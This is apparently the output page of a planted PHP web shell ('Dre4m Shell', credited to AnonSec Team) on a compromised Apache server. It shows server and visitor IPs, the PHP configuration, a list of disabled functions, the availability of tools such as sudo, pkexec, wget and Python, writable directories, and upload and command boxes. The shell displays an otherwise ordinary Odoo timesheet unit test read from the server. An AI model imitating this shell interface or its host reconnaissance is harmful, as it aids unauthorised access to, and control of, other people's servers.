Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.21.35.68
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/hr_timesheet_attendance/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/hr_timesheet_attendance/tests/test_hr_timesheet_sheet.py
# -*- coding: utf-8 -*-

from odoo.tests.common import TransactionCase
import time


class TestHrTimesheetSheet(TransactionCase):
    """Test for hr_timesheet_sheet.sheet"""

    def setUp(self):
        super(TestHrTimesheetSheet, self).setUp()
        self.attendance = self.env['hr.attendance']
        self.timesheet_sheet = self.env['hr_timesheet_sheet.sheet']
        self.test_employee = self.browse_ref('hr.employee_qdp')
        self.company = self.browse_ref('base.main_company')
        self.company.timesheet_max_difference = 1.00

    def test_hr_timesheet_sheet(self):

        # I create a timesheet for employee "Gilles Gravie".
        self.test_timesheet_sheet = self.timesheet_sheet.create({
            'date_from': time.strftime('%Y-%m-11'),
            'date_to': time.strftime('%Y-%m-17'),
            'name': 'Gilles Gravie',
            'state': 'new',
            'user_id': self.browse_ref('base.user_demo').id,
            'employee_id': self.test_employee.id,
        })

        # I check Gilles in at around 9:00 and out at 17:30
        self.attendance.create({
            'employee_id': self.test_employee.id,
            'check_in': time.strftime('%Y-%m-11 09:12:37'),
            'check_out': time.strftime('%Y-%m-11 17:30:00'),
        })

        # I add 6 hours of work to Gilles' timesheet
        self.test_timesheet_sheet.write({'timesheet_ids': [(0, 0, {
            'project_id': self.browse_ref('project.project_project_2').id,
            'date': time.strftime('%Y-%m-11'),
            'name': 'Develop yaml for hr module(1)',
            'user_id': self.browse_ref('base.user_demo').id,
            'unit_amount': 6.00,
            'amount': -90.00,
            'product_id': self.browse_ref('product.product_product_1').id,
        })]})

        # I confirm Gilles' timesheet with over 1 hour difference
        # in attendance and actual worked hours
        try:
            self.test_timesheet_sheet.action_timesheet_confirm()
        except Exception:
            pass

        # I add another 2 hours of work to Gilles' timesheet
        self.test_timesheet_sheet.write({'timesheet_ids': [(0, 0, {
            'project_id': self.browse_ref('project.project_project_2').id,
            'date': time.strftime('%Y-%m-11'),
            'name': 'Develop yaml for hr module(2)',
            'user_id': self.browse_ref('base.user_demo').id,
            'unit_amount': 2.00,
            'amount': -90.00,
            'product_id': self.browse_ref('product.product_product_1').id,
        })]})
        # I invalidate the cache, otherwise total_timesheet and total_difference doesn't get updated... /this is a disgrace/
        self.test_timesheet_sheet.invalidate_cache(['total_attendance', 'total_timesheet', 'total_difference'])

        # I confirm Gilles' timesheet with less than 1 hour difference
        # in attendance and actual worked hours
        self.test_timesheet_sheet.action_timesheet_confirm()

        # I check the state is confirmed
        assert self.test_timesheet_sheet.state == 'confirm'

        # the manager accepts the timesheet
        self.test_timesheet_sheet.write({'state': 'done'})

        # I check the state is indeed done
        assert self.test_timesheet_sheet.state == 'done'

Anon7 - 2022
AnonSec Team